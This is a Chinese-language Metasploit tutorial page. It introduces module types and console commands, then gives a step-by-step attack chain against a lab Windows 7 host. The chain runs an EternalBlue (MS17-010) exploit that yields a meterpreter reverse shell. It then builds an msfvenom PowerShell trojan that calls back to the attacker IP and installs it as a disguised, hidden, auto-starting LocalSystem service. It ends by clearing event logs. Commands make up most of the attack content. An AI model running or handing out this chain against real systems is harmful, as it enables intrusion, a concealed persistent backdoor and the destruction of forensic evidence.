Skip to content

Metasploit

模块

  • Auxiliary 执行辅助性任务,可以扫描目标系统开放的端口、枚举服务、进行指纹识别,通常不直接利用漏洞来获取目标系统的控制权,但能为后续的攻击提供重要信息
  • Exploits 用于利用目标系统的已知漏洞
  • Payloads 攻击载荷模块,攻击成功之后执行的任务
  • Post 获得目标系统访问权限后使用的,用于执行后续的操作

输入 ? 查看手册

指令

show

show 模块名 显示模块具体介绍

search 内容 搜索匹配的模块

use

use 模块名|编号 使用模块,参数可以是 search 返回的编号

options

配置好模块之后,options 查看模块配置信息
RHOSTS 是目标主机

set

set rhost 192.168.100.104 设置模块具体信息

run

run 运行攻击

实例

永恒之蓝

use auxiliary/scanner/smb/smb_ms17_010
options # 查看配置
set rhost 192.168.100.101

msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.100.101:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.100.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

use windows/smb/ms17_010_eternalblue
options
set rhost 192.168.100.101
show payloads # 查看攻击可以配置的载荷
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷,默认就是 reverse_tcp
set lhost 192.168.100.104 # 设置主机 IP,用于接收从目标机弹回的 shell
run
至此,获得对目标机的控制,进入了 meterpreter,输入 ? 可以查询自带的指令,例如 upload 1.txt 可以传文件到目标机
实现远程控制
制作木马:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.104 LPORT=1234 -f psh-reflection > x.ps1
这里的 LHOSTLPORT 都是主机的 IP 和端口,用于接收数据,x.ps1 为输出的文件名,msfvenom 是独立于 msfconsole 的程序
上传木马:upload x.ps1
设置开机自启可以通过计划任务或服务
以服务方式伪装:
首先在 meterpreter 中输入 shell 进入命令行
1. 创建服务 sc create service_name binPath= "cmd.exe /k powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\x.ps1" start= auto obj= LocalSystem
2. 伪装服务 sc description "service_name" "服务描述"
3. 设置自启 sc config "service_name" start=auto
4. 启动服务 net start "service_name"

在启动之前,应该启动 msf 的远程控制模块
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.100.104 这里应该是主机 IP,和木马中一致
set lport 1234 和木马中设置的端口一致
run 启动监听,启动后只要端口有数据就能连接

  1. 隐藏服务 sc.exe sdset service_name "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
  2. meterpreter 下输入 clearev 清除日志